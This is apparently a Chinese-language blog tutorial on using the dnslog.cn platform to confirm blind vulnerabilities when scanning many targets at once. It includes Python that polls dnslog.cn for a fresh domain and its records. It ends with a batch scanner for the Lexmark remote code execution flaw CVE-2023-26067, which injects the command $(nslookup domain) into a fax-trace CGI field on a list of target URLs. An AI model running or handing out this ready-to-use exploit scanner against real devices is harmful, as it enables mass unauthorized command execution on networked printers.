批量脚本之利用Dnslog 平台

批量脚本之利用Dnslog 平台

适用于批量测试无回显的漏洞测试中。

脚本语言:Python

需要使用到的库: requests, json,time

这里以 DNSLog Platform 为例

通过F12,我们可以发现这两个请求包。通过利用这两个请求包的会话,我们就可以监测某一个dnslog.cn的结果了。
批量脚本之利用Dnslog 平台_第1张图片

但是如果刷新网页的话,dns地址就变了,这样就无法监测了。

因此我们需要用到会话**(Session)**

import requests
import time
import json
session = requests.session()
domain = "http://www.dnslog.cn/getdomain.php"
record = "http://www.dnslog.cn/getrecords.php"

resp = session.get(domain)
print(resp.text)
while True:
    resp = session.get(record)
    data = json.loads(resp.text)
    print(len(data),data)
    time.sleep(10)

得到的结果如下:
批量脚本之利用Dnslog 平台_第2张图片

通过这样,我们使用批量脚本的使用可以通过生成一个dns网址,然后监测是否,命令执行成功的回显,从而实现批量脚本。

附带一个Lexmark远程代码执行漏洞(CVE-2023-26067) 监测脚本

已验证可以监测。

def Lexmark_rce1(us):
    data_mb = '''FT_Custom_lbtrace=$(nslookup%20{})'''
    results = []
    test = "/cgi-bin/fax_change_faxtrace_settings"
    domain = "http://www.dnslog.cn/getdomain.php"
    record = "http://www.dnslog.cn/getrecords.php"

    for u in us:
        try:
            url = u + test
            resp = session.get(domain)
            print(resp.text)
            data = data_mb.format(resp.text)
            print(data)
            resp = requests.post(url, data=data, verify=False)
            resp = session.get(record)
            datas = json.loads(resp.text)
            print(len(datas), datas)
            if len(datas) != 0:
                results.append(url)
        except Exception as e:
            print(e)

    return results

成功截图如下:
批量脚本之利用Dnslog 平台_第3张图片
欢迎在评论区讨论

你可能感兴趣的:(批量脚本,python,网络安全,web安全)